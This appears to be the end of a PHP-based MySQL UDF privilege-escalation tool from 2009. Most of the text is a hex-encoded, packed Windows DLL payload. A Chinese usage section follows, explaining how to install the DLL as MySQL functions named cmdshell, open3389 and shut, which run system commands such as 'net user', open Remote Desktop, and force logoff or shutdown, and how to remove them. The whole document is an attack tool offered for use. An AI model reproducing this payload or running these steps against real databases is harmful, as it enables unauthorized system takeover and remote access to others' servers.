FCDF7F707133E1573704AE3A1E4321F95068DAEC22CA4727D7A7DB0CCE9775C582D271729A18F9598687C41D290F84D768D1E8FE873A66592F1D343CDE6692F5236B07BB83AE95BC839183C01977B120BAC5ED69411E051F2F048DD11DA8C38C8EDCC7CA24B4BE78BE7E4451C9697E6B57F78CDADB6F7D2BB5B32C7B6CB22DFF81120D67E9E5AFE79FF61D9BB68EF28A327AA9D9A203A195E786A969F515050BB24BA7504221068867C6786603F8401E0398720DC0F0BC06B074340B78B60670CC2CC2C82C618C1C0BA0AA424F6292489223702346CC4588910C108CD87F0BC6FE48B291ACE48B1C4939B672738A6EF3151E9E9956B34C5E7BBF8FCA929D7CC07FBF497068079B5B8A4EECF1DF43D0CDC028E1F50979AE4F62B320B7071FDD8677ED64D468E18AC919941B03B0F1AB6FFA3324338218460E124F736B44D5E43AFDF7EBDCAED0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005040010056000000E40400000000000019A02100000000000190B524F93E1890D3DFE99A8C0448861FEFF74889ECBAD972B6ECD5F888C666ABBF9F9F3E7CF9F3E7CF9F3E7CF9F670000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000023B44333191180002A37A70A224E0CA300852048C0A050994EF979DF7E77C7C81903229C2C56010538438A1525392D20A5194044B41580C685A194870422580C1251946148120271408D908240C2010122C684B01385023754B75DD86BA6D75D75DD96FC4C35D361B3DC72E836175FADCBA3D732DB932EAF6FDFFEFFF06BFBE1FFBFB3AEFAFFEBB7504E9D6FDD757E980C0C982581380D983700E183920AE86C21820D9C3810E203EB8502BE0B122DF0AA855E1DB87183F0C7831E447B11DD899124A133C49824E13DA25412A89025395C2DF4B902ED0BDE3510D45B5776B0CD655AA66ABA6EECC23481B1A69437E63720D5F3C41EE67C29E5CEFCDE09BB5A0A8CBA3EFA3408D622791029844B69C727CC4ECD3CB4E0958D56615F81538AF7154CAA757295CD577CBB6AC0BC32F26BCCAFD05D0AF80BE6FF359746788CD53380C750EE9D4BBB62017304E836C0E13B4EE839517E21510BE11187E00F083A92CC35EE9AACD6A3FA8D97B365A6E69BAA7BF4DE53E0A7C44E2D2FCAB22A194855CD520ACCAB4AA9F551AA457905F9ABD0AF48B975CDAF66BDCF67790BE52FF5AEBEC7E6591968677CC8960D8B662199066499A16695938CDDB2859C2672D906E6A1CF69CA37384E533952E73DCEA38E80E9D4FF6A96003F821016906045222C78B362CE0A585EA8B5C2D90BF40B902A917385D315746FC3B78FEB8DB1FF53D761DE077C1E0078E1C90F283CD8FD21E7C7A31EAC7343DD8F863E38FE21DF89526E99807BE1E50F4479746B51ECA2811FA50E26D6AB8AA2D58154CAB7CAF81552AE8AAB8B875E7D7BD5EFD74CBA85BA765826447CC4BCB2FACFB4CC8B338CFC2CD1F6EDD7B38CCE4B2A99CF6595CD0392EE6C1CFD4E3A8A74EA56B9FB6C40B201B05D01DF83C2067419E06C41C40581E211062C3F6439B0FA41D806783B70EF03441A40F1434E1E5879C1EA07E909FC50628515B040136260A2C57A15F4584162C590165859917A029516A45AC16887A9770D78F683A01F207503E68FA438725B48122C9E1123C9832624995266899C268092E4D5926893A4DD928494A4E43C99D32578B045862DB4A32C717025C9165CBF94BEC97645A62FBE5B0356A6AE8D6ADAA06A91AEF4D683610DE49BCB379C6F3CDA13690DAE34F9B726A037BC6A83730DD13570FDD1E04F067853DACF6F380ED9EEA7F00FF60F7B3DF8F823E18FE39F1E7CA1E54FA23E98FEB1E68FB13CF9E80FC33F1CFCD3D8DB846C8DE15B916E49BFC8DCD373ADFC4DD5B6FC8B5A0C88F46051F791EEA3888B427EABC89E327509A34D3A52F216155F77F66B153AAE87718BD2EFCBC1BC8D945DC1C5B97572EEE46B91EE6CDCDB3948E71FE7591BF400FEE5595E2F47034E09B05381D3DD3640902D86443920CE07A01AB0C20AD42F785621D9876B1DC47D5707851E287AE1CF0F8A3E88CE4C41218BE896E4F73AB86B61B0E6F30F10DFB8DF41B7F45CD17DED5A012A4CD26CAABB2AF6AF155E4BDA99C56895AA54D2A795BC7B6CE97635C3BDAADAEF6B925E5579A5EA17B8FE533D1669D9DA9E90EB799F2B000B5023C18706301F7019804A03680F6C1460E583A20800DC83E3064DE168015EC5EC56A15DC77D1F8E3C98F3C3D10F503FCE3A31D53C0B5D23F120890C4BB131849324B130E5CD1688B676B04D695AEE8D6A35C8D8A3678DAC34E1B18DF9EDFB08D9A3DB47011EFA2153109B8A4495BDFB974EE13569847BFD6E544A80A22B00ACB2B46A9754C2A65DA66EB50676B41205706B845C2BB666179C5CC2F5B5A0D38B9D5F116FCF7EC5B231978646B23991ECBFB2419A964CB2699375A096973EB38EEFF1BF21E98282881C605D431A1DA87801AF0AC22B48B142D20B54EEE9C7BF76A2A015707DE3DE9E28E587EA0E607AC1CD8F603892148926C89B927149D025592C65B316E2509628B762F865F29DF33A5D1974E5D6F6C08668ED601A80795BEA1E28F547E99EFCDE2DE3F6BDBDAB76845E9198454A39C88C4DE938F4FA69DBA7789A44C42B70AAB5422E1976E5C4F71D22F00BCB2F46B97775995CD7F6B4FAE05906C84642B21D998AD109866B7E694EB388C7E792A2DC8C72F0F27A39E4CBFB920E6A5C997269C9B7271C7527F1E87B61D060B801C06081EB027BB9A59438E0E4C3EA866833A1DD877C1E305D0AC42EF5E530C481453E40C70AC63931CB8F6E3A2EE71DD920490A4F81F1C59CAA77AF84BD22BFB508F8E6E0D15AC3B5E9B5126A43750D933DE5BA06E91BAA6FA2DD7D0FE8B3A21D11A8A74605320BC7AF2EED9AD5ED1746BA7ADE28063A94F9E5DD5F2EB5620C7921F9A3E98ECC48725D09E5136049E254F6F8882EC4BB7FFA3EE5179A5AB2C0B59EAD1A70D8837E334B9B9E6B21DC3C91FCE3E19BFB6DC4A7C17C3D9D57AEF976C0B2ADD4B75F9FFADFE283E4CCFEF85FDD221C687C80C976C3667B3E954E7D3FD3F3BD6C77CAA8D15D8984390FD58FEC7B3E79BAD26E09E94EE9B876E29B906E4DBD0B72CDCE569252B7D26DD3B99488A448224D12C89D452A2A11614DBD3189C4F5FD4BD78E4F62A0810609978C67C5BA1508B822A61540B982E90ABE37F1C18E1476CF8C641A8716F8CA3877F1E187223B79004DEA36C902A2951AA907D912AA96569BFD0DFF6336CADD2B7AAA156FD5C1552BDFDCC573EB402BEBB0ADFD705FF06AD8BB7FF95875A9714B8B5C62EF0B8D5C72E3D77F5C83EEAC4AE4578D5F90B927DE693EE25995E6D728B955E7DF5ECB2F4DFFAFBFC41DB2F74F97D42F97382BA57CBDCB5FD0D5D7F0FEB3FACFEB3FACFEB3FACC800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009060E803000000E9EB045D4555C3E801000000EB5DBBEDFFFFFF03DD81EB0030010083BD2204000000899D220400000F85650300008D852E04000050FF954D0F00008985260400008BF88D5D5E5350FF95490F000089854D0500008D5D6B5357FF95490F00008985510500008D4577FFE05669727475616C416C6C6F63005669727475616C46726565008B9D310500000BDB740A8B0387853505000089038DB569050000833E000F84210100006A04680010000068001800006A00FF954D0500008985560100008B4604050E0100006A046800100000506A00FF954D050000898552010000568B1E039D22040000FFB556010000FF76045053E86E050000B30080FB00755EFE85EC0000008B3E03BD22040000FF37C607C3FFD78F07505156538BC883E9068BB55201000033DB0BC9742E782CAC3CE8740AEB003CE974044349EBEB8B06EB00803E0575F32400C1C0182BC3890683C30583C60483E905EBCE5B5E5958EB0800000000000000008BC88B3E03BD220400008BB552010000C1F902F3A58BC883E103F3A45E68008000006A00FFB552010000FF955105000083C608833E000F851EFFFFFF68008000006A00FFB556010000FF95510500008B9D310500000BDB74088B038785350500008B95220400008B852D0500002BD074798BC2C1E81033DB8BB53905000003B522040000833E0074618B4E0483E908D1E98B3E03BD2204000083C608668B1EC1EB0C83FB01740C83FB02741683FB037420EB2C668B1E81E3FF0F00006601041FEB1D668B1E81E3FF0F00006601141FEB0E668B1E81E3FF0F000001141FEB0066830EFF83C602E2B4EB9A8B95220400008BB5410500000BF6741103F2AD0BC0740A03C28BF866AD66ABEBF1BE6CCB00008B952204000003F28B460C85C00F840A01000003C28BD850FF954D0F000085C0750753FF95510F0000898545050000C78549050000000000008B95220400008B0685C075038B461003C20385490500008B188B7E1003FA03BD4905000085DB0F84A2000000F7C300000080750403DA43435381E3FFFFFF7F53FFB545050000FF95490F000085C05B756FF7C3000000807519578B460C03852204000050538D85750400005057E99800000081E3FFFFFF7F8B85260400003985450500007524578BD34AC1E2028B9D450500008B7B3C8B7C3B78035C3B1C8B04130385450500005FEB16578B460C03852204000050538D85C60400005057EB4A890783854905000004E932FFFFFF890689460C89461083C6148B9522040000E9EBFEFFFFB8191F000050038522040000590BC98985A8030000617508B801000000C20C006800000000C38B85260400008D8D3B0400005150FF95490F00008985550500008D854704000050FF95510F000089852A0400008D8D520400005150FF95490F00008985590500008B852A0400008D8D5E0400005150FF95490F0000FFD083C4105F6A308D9D6804000053576A00FF95590500006AFFFF95550500000000000000000000000000006B65726E656C33322E646C6C004578697450726F63657373007573657233322E646C6C004D657373616765426F78410077737072696E746641004C4F41444552204552524F52005468652070726F63656475726520656E74727920706F696E7420257320636F756C64206E6F74206265206C6F636174656420696E207468652064796E616D6963206C696E6B206C69627261727920257300546865206F7264696E616C20257520636F756C64206E6F74206265206C6F636174656420696E207468652064796E616D6963206C696E6B206C6962726172792025730052BA8E243B9CAC0AC0741432D0B008D1EA730681F29AF3A7C1FEC875F2EBE7925AC387DB0000001000000000000000000020010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000A0000000E000000010000058100100A80F00000020010000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008B44241081EC540300008D4C240450E8A80300008B8C245C0300008B94245803000051528D4C240CE80D04000084C0750A83C8FF81C454030000C38B8C24600300008D042450518D4C240CE8E805000084C0750A83C8FF81C454030000C38B042481C454030000C210000001020304050607080A0C0E1014181C202830384050607080A0C0E000000000000000000101010102020202030303030404040405050505000000000101020203030404050506060707080809090A0A0B0B0C0C0D0D0E0E0F0F101011111111111111111111111111111212121212121212518BD156B90800000057394A04723553BEF8FFFFFF8B028A1840885C240C89028B42088B7C240CC1E00881E7FF0000000BC78B7A0403FE8942088BC7897A043BC173D25B8B72048B42088B7C24102BCED3E8B9180000002BCF25FFFFFF00D3E803F75F8972045E59C204008B4424048B5424088981840000008991880000008D048289818C0000000500010000C2080081EC980000005355568BD157B90F0000008BAA8400000033C08D7C242C33F6F3AB8BBC24AC0000003BEE89542420761533C98A0C388B5C8C288D4C8C2843403BC5891972EBB917000000897424288972048972448974246833FF8974241CC744241001000000894C24188D6A08897424148B44342CD3E003F881FF00000001897C24240F878E0000008B443428897D008B5D3C03C383F9108945408944346C7C4D8B75008B4424108B5C241C8BBA8C000000C1EE108BCE25FF0000002BCB03FB8AD88BD18AFB8974241C8BC38B742414C1E010668BC3C1E902F3AB8BCA8B54242083E103F3AA8B7C24248B4C24188B44241083C604404983C50483F90989442410894C2418897424140F8D62FFFFFF81FF00000001740F5F5E5D32C05B81C498000000C204008B828400000033C985C0763B8BB424AC0000008A043184C074228BBA8800000025FF0000008B448468890C8733C08A04318B7C84688D4484684789388B8284000000413BC872CC5F5E5DB0015B81C498000000C204005153568BF1578B068378040872308B088A11418854240C89088B48088B54240CC1E10881E2FF0000000BCA8B500483C2F88948088BCA89500483F90873D08B50048B4008B9080000002BCAD3E88B4E242500FEFF003BC173148B968C0000008BC8C1E91033DB8A1C118BD3EB3B3B462C730A3B46281BD283C20AEB2C3B46307307BA0B000000EB203B46347307BA0C000000EB143B46387307BA0D000000EB083B463C1BD283C20F8B0E8B790403FA8979048B1C96B9180000002BC32BCA5FD3E88B4C964403C18B8E880000005E5B8B048159C35356578BF933D233C08DB768020000891656E8570200008A8C303E4044005EBB0100000083C604D3E303D34083F83A72DE8B4424108D4F105068D1020000E848FDFFFF506A1C8D8FA0000000E83AFDFFFF506A088D8F30010000E82CFDFFFF506A138D8FC0010000E81EFDFFFF8987600200005F5E05F50200005BC204008B4424088BD18B4C24045789028D42048908C74004200000008942108982A00000008982300100008982C001000033C0B9BD0000008982500200008982540200008982580200008BBA6002000089825C020000F3AB8BCAAAE8040000005FC2080081EC0C030000538BD955568D6B04576A018BCDE829FCFFFF85C0750E8BBB60020000B9BD000000F3ABAA33F66A048BCDE80CFCFFFF884434104683FE1372ED8DBBC00100008D442410508BCFE880FCFFFF84C0750B5F5E5D5B81C40C030000C333F68BCFE8E4FDFFFF83F81073158B8B600200008A143102D080E20F8854342446EB6075286A028BCDE8B3FBFFFF83C00385C07E4E81FEF50200007D528A4C342348884C34244685C07FEAEB3683F811750E6A038BCDE886FBFFFF83C003EB0C6A078BCDE878FBFFFF83C00B85C07E1381FEF50200007D17C644342400464885C07FED81FEF50200000F8C73FFFFFF8D5424248D4B1052E8D5FBFFFF84C0750B5F5E5D5B81C40C030000C38D8424F50200008D8BA000000050E8B3FBFFFF84C0750B5F5E5D5B81C40C030000C38D8C2411030000518D8B30010000E891FBFFFF84C0750B5F5E5D5B81C40C030000C3C683640200000033C080BC04110300000375084083F80872F0EB07C68364020000018BBB600200008D742424B9F5020000F3A45F5E5DB0015B81C40C030000C3E801000000905E81EECB454400C383EC148B44241C535556C700000000008B4424245733FF85C08BF1897C24100F865B0200008D4E10E883FCFFFF3D0001000073138B0E88018B0E4147890E897C2410E9290200003DD00200000F83130200000500FFFFFF8BE883E007C1ED038D500283F807895424140F85940000008D8EA0000000E836FCFFFF8B4E0833DB56E86DFFFFFF8A9C30224044005E83F90872328B4E048A114188542418894E048B4E0C8B542418C1E10881E2FF0000000BCA8B560883C2F8894E0C8BCA89560883F90873CE8B7E088B560CB9080000002BCF03FBD3EAB918000000897E082BCB81E2FFFFFF00D3EA33C956E803FFFFFF8A8C30064044005E8B44241403CA03C1894424148A86640200008B9CAE6802000033D256E8DAFEFFFF8A94353E4044005E84C08BFA747683FF0372718B46088D6FFD83F80872318B46048B560CC1E2088A0840884C241C8B4E088946048B44241C25FF00000083C1F80BD08BC183F80889560C894E0873CF8B46088B7E0CB9080000002BC803C5D3EFB9180000008946082BCD81E7FFFFFF00D3EF8D8E30010000E81BFBFFFF03C38D1CF8EB5B837E080872318B46048B560CC1E2088A0840884C24208B4E088946048B44242025FF00000083C1F80BD08BC183F80889560C894E0873CF8B56088B460CB9080000002BCA03D7D3E8B9180000008956082BCF25FFFFFF00D3E803D883FB03731A8B8C9E5002000085DB74308B965002000089949E50020000EB1B8B86540200008B96500200008D4BFD898658020000899654020000898E500200008B068B7C2414418D14383BC2891673108BD02BD1408A128850FF8B163BC272F08B44241003C7894424108BF8EB0B8BCEE8F7FBFFFF84C0741C3B7C24280F82ABFDFFFF8B44242C89385F5E5DB0015B83C414C208005F5E5D32C05B83C414C208000000000000000000000000000000000000000000000000000000000008000000793F01008A3F01009D3F0100000000006B65726E656C33322E646C6C00000047657450726F63416464726573730000004765744D6F64756C6548616E646C65410000004C6F61644C69627261727941000000000000000000000000006C3F01005C3F0100000000000000000000000000FC3F010014400100000000000000000000000000074001001C40010000000000000000000000000000000000000000007573657233322E646C6C0061647661706933322E646C6C002440010000000000344001000000000000004578697457696E646F777345780000004C6F6F6B757050726976696C65676556616C75654100000000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A3C2F617373656D626C793E00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
}
?>
<pre>
Mysql UDF 提权工具
modi XXOO
blog：http://hi.baidu.com/by_boby
2009-12-4


填写Mysql的管理员密码,点击"自动安装MysqlDoor"后,将会在Mysql上增加"cmdshell open3389 shut "函数.

语句参考：<!--安装：Create Function state returns string soname 'mysqlDll.dll';-->
 执行：select cmdshell("net user");
 卸载：drop function if exists `cmdshell`;
 执行：select shut('logoff|shutdown|reboot');
 卸载：drop function if exists `shut`;
 执行：select open3389(port);
 卸载：drop function if exists `open3389`;
 执行：select read3389(port);
 卸载：drop function if exists `read3389`;
注意：运行"drop function state;"后会使mysql退出,重启后恢复正常。


</pre>
